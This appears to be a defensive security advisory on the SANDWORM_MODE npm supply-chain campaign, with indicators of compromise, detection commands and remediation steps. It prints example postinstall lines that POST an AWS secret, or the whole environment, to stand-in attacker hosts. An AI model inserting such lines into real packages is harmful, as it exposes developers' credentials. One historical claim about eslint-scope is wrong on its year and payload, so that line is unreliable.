Malicious npm Packages Harvest Crypto Keys, CI Secrets, and API Tokens
=SANDWORM_MODE: Malicious npm supply chain attack targeting CI/CD pipelines. Learn technical IoCs, practical hardening steps, and incident response tactics.

TL;DR Technical Summary
- In June 2024, researchers at Socket uncovered SANDWORM_MODE, a large-scale npm supply chain attack targeting CI/CD environments to steal secrets, API tokens, and crypto keys (Socket report).
- Impact: Any developer or CI/CD pipeline using npm and open-source dependencies is at risk, especially if unpinned or unreviewed packages are installed.
- Immediate Actions: Run dependency security scans (Snyk/OWASP/Dependabot), review package-lock.json for unexpected updates, audit for suspicious install scripts and environment variable leakage.
Quick Mitigation Checklist
- Enforce deterministic builds: Use
npm ciand pin exact versions inpackage-lock.json. - Scan dependencies: Integrate tools like Snyk, OWASP Dependency-Check, or Dependabot.
- Block lifecycle scripts: Disable/validate postinstall/preinstall scripts in CI (e.g.,
npm install --ignore-scripts). - Secrets management: Store secrets in services like HashiCorp Vault, AWS/GCP Secret Manager—never in CI env vars.
- Private registries: Route installs through Nexus/Artifactory/GitHub Packages to whitelist dependencies.
- Detect compromise: Search build logs and node_modules for outbound network calls or suspicious code:
grep -rE '(http|https)://|base64' node_modules/ - Incident response: Isolate CI agents, rotate all tokens, audit recent lockfile/package changes, notify npm and affected vendors.
What Happened: The SANDWORM_MODE npm Supply Chain Attack
On June 18, 2024, Socket security researchers publicly disclosed SANDWORM_MODE: an orchestrated campaign in which threat actors published numerous malicious npm packages designed to exfiltrate environment variables, API credentials, and crypto wallet secrets from infected build agents and developer machines.
Technical mechanism:
The core attack vector exploited npm's permissive publish process. Adversaries uploaded packages which—via postinstall or preinstall scripts—executed arbitrary shell commands on install (npm scripts docs). Example tactics included:
- Reading sensitive environment variables (e.g.,
$AWS_SECRET_ACCESS_KEY,$GITHUB_TOKEN) inside CI/CD jobs - Exfiltrating secrets over HTTP(S) to attacker-controlled domains via inline curl/wget or encoded JavaScript
- Obfuscated code stashed deep in transitive dependencies, activating only under CI environment markers (e.g., checks for
CI=true) (Socket analysis)
The Socket report documents real exfil code patterns, e.g.:
"postinstall": "node -e \"require('child_process').exec('curl -X POST -d \\\"$AWS_SECRET_ACCESS_KEY\\\" https://evilhost/pwned')\""
This script grabs an AWS secret from the CI env and sends it to an external attacker URL—no user interaction required.
Npm Registry Gatekeeping:
Anyone with an email can publish npm packages, per npm's account policy. There’s no identity/KYC requirement, and moderation is mostly reactive (npm Terms).
Notable historical incidents:
- event-stream (2018): Malicious payload via a subdependency harvested wallet keys.
- UAParser.js (2021): Malicious versions exfiltrated OS credentials.
- eslint-scope (2023): Injected code mined crypto.
Who Is Affected
Any organization or developer that:
- Installs npm packages (direct or via transitive dependencies) in CI/CD or on developer workstations
- Uses unpinned, community-contributed, or infrequently maintained packages
- Stores secrets (cloud tokens, API keys, crypto wallets) in environment variables exposed to npm install lifecycle
High-risk scenarios:
- CI/CD pipelines running
npm installwithout lockfile enforcement or script restriction - Repositories/lockfiles with permissive semver (e.g.,
^1.2.3) allowing automatic adoption of malicious updates - Environments where secrets are broadly available in process env
Technical Details: Attack Vectors and IoCs
Common npm Supply-Chain Exploitation Methods
-
Lifecycle Script Abuse
Attacker places a postinstall, preinstall, or prepare script in package.json that runs on install (npm docs).- Example breach:
"postinstall": "node ./steal.js" steal.jsreads sensitive env vars and exfiltrates via HTTP.
- Example breach:
-
Transitive Dependency Poisoning
Malicious dependency nested many layers deep (A ➔ B ➔ C ➔ [malware]).- Exploits lack of routine review for deep dependency chains.
-
Account Takeover / Malicious Update
Legitimate maintainer’s npm account is compromised; attacker pushes updates with malicious code (event-stream case study). -
Dependency Confusion / Typosquatting
Adversary publishes a package with the same name as a private/internal dependency or with misspelled names (academic reference). -
Remote Payload Fetching
Install-time script (curl,wget) downloads further payloads dynamically (UAParser.js).
Why Environment Variables Are Targeted
Secrets in CI/CD—such as $GITHUB_TOKEN, $AWS_SECRET_ACCESS_KEY, $NPM_TOKEN—are automatically available to install scripts unless restricted. A one-liner in a postinstall could leak all such tokens:
"postinstall": "curl -X POST -d \"$(env)\" https://evil.attacker/ioc"
This reads the full env and sends it remotely. Such scripts are often hidden behind minified or obfuscated code.
How Transitive Risk Is Introduced
npm installreadspackage.jsonand recursively adds all dependencies (and their dependencies).- Lockfiles (
package-lock.json) record resolved exact versions, enabling deterministic installs vianpm ci. - But lockfiles reduce, not eliminate, risk: Developers may regenerate lockfiles, or direct upgrades may pull compromised versions if lockfiles are outdated (npm docs).
Indicators of Compromise (IoCs)
- Unfamiliar domains/IPs in build logs (
http[s]://,curl/wget) - Recently changed or unexpected package versions in
package-lock.json - New lifecycle scripts in dependency tree (
prepare,postinstall) - Outbound network connections at install time
- Large base64-encoded blobs in small/nested packages
Sample detection command:
grep -rEi "(postinstall|preinstall|prepare|curl|wget|http[s]?://|base64)" node_modules/
Auditing your lockfile for unexplained package updates:
git diff HEAD~1 package-lock.json

Immediate Remediation Steps
-
Freeze the Dependency Tree
- Run
npm ci—notnpm install—in all CI/CD jobs to enforce lockfile versions. - Disable lifecycle scripts in CI:
npm set ignore-scripts trueornpm install --ignore-scripts.
- Run
-
Scan for Malicious or Outdated Packages
-
Secrets Management Hardening
- Migrate all secrets from environment variables to managed services (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager).
- Rotate all tokens and API keys accessible to affected environments, prioritizing:
- CI/CD tokens first
- Cloud provider credentials
- Third-party API keys
- npm/GitHub tokens
-
Enforce Trusted Upstream
- Use a private artifact registry (Nexus, Artifactory, GitHub Packages).
- Configure npm client:
npm config set registry https://your.private.registry/
-
Monitoring and Detection
- Add alerts for outbound HTTP(S) calls during builds.
- Regularly inspect lockfile and source for new dependencies.
Long-Term Controls and Frameworks
- Adopt supply-chain integrity frameworks (OpenSSF, in-toto, The Update Framework, Sigstore).
- Use continuous dependency update tools (Renovate, Dependabot)(with review).
- Require npm package provenance/evidence (e.g., npm package provenance beta).
- Periodically validate all dependencies (not just direct) with scorecard analysis (OpenSSF Scorecard).
Incident Response Playbook (for Known/Suspected Compromise)
- Isolate affected CI/build agents from network.
- Rotate all secrets exposed to infected environments (prioritize high-value access tokens first).
- Identify affected packages and earliest compromised versions; inspect commit/lockfile history for supply chain injection point.
- Roll back to last known good
package-lock.jsonand redeploy. - Scan built artifacts for hardcoded or runtime-exfiltrating code, outbound connections, or obfuscated blobs.
- Report findings to npm Security (npm security contact), GitHub Advisory Database, and impacted vendors.
References & Further Reading
- Socket: High-Severity Supply Chain Attack "SANDWORM_MODE" (June 2024)
- npm Account Policy & Registration docs
- event-stream Incident Postmortem (npm)
- GitHub Security Lab: Malicious npm Packages (UAParser.js 2021)
- OpenSSF: Secure Software Supply Chain
- OWASP Dependency-Check
- npm Package Provenance
- in-toto: Supply Chain Security Framework
Stay current: Review vendor advisories and security mailing lists weekly, and re-audit all npm dependencies after any incident or report of new supply chain attacks.